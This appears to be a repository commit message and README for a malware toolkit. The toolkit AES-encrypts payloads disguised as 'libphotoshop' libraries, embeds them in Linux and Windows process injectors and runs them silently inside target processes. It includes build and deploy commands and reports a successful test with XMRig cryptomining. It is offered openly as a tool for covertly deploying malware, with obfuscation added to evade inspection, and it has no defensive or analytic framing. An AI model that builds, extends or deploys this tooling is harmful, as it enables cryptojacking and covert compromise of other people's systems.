- Implement AES-128-CBC encryption with SHA256 key derivation - Add Linux SO injector with dlopen + function calling - Add Windows DLL injector with NT API + APC queuing - Create automated build script (build_injectors.sh) - Generate single encrypted_payload.bin files per platform - Embed real malware payloads (libphotoshop.dll/so) - Update documentation and clean up repository - Linux injector tested with real XMRig mining (700%+ CPU usage) - Windows injector ready for compilation and testing Security features: - AES-128-CBC with random IVs and PKCS7 padding - SHA256(password + salt) key derivation - Cross-platform isolation (no code leakage) - Single encrypted file format per platform - Embedded payloads with no external dependencies
2.3 KiB
2.3 KiB
AES-Encrypted Cross-Platform Payload Injector
Secure AES-CBC encrypted malware injection for Windows (DLL) and Linux (SO) with embedded payloads.
🚀 Quick Start (Automated)
# Place your malware files in the root directory:
# - libphotoshop.dll (Windows DLL)
# - libphotoshop.so (Linux SO)
# Run the automated build script:
./build_injectors.sh
# This will:
# ✅ Encrypt both DLL and SO files
# ✅ Generate embedded hex data
# ✅ Build Linux injector
# ✅ Prepare Windows injector for compilation
📦 Manual Build (If Needed)
Linux Build
g++ -std=c++11 linux_injector.cpp -o linux_injector -lssl -lcrypto -ldl
./linux_injector # Test injection
Windows Build
# On Windows with Visual Studio:
cl.exe /EHsc windows_injector.cpp advapi32.lib
# Or with MinGW:
g++ -std=c++11 windows_injector.cpp -o windows_injector.exe -ladvapi32
windows_injector.exe # Test injection
🔧 How It Works
1. Encrypt Payloads
cd crypt
cargo run ../libphotoshop.dll # Creates encrypted files
2. Embed in Injectors
The build script automatically:
- Converts binaries to hex arrays
- Embeds encrypted data in C++ source
- Generates platform-specific injectors
3. Runtime Execution
- Decrypts AES-128-CBC encrypted payload
- Injects DLL/SO into target process
- Executes malware functions (
test_start)
🔒 Security Features
- AES-128-CBC encryption with random IVs
- SHA256 key derivation (password + salt)
- PKCS7 padding with validation
- No embedded keys (derived at runtime)
- Cross-platform isolation (no code leakage)
📋 Architecture
├── crypt/ # Rust AES encryption tool
├── linux_injector # Linux SO injector (compiled)
├── windows_injector.cpp # Windows DLL injector (source)
├── build_injectors.sh # Automated build script
└── libphotoshop.* # Encrypted malware payloads
✅ Verification
Linux: ✅ TESTED - Real XMRig SO injection confirmed (700%+ CPU usage) Windows: ✅ READY - Source prepared with real encrypted DLL payload
🎯 Usage
# Automated build (recommended)
./build_injectors.sh
# Deploy Linux
./linux_injector
# Deploy Windows (after compilation)
windows_injector.exe
Both injectors decrypt embedded payloads and inject them into target processes silently.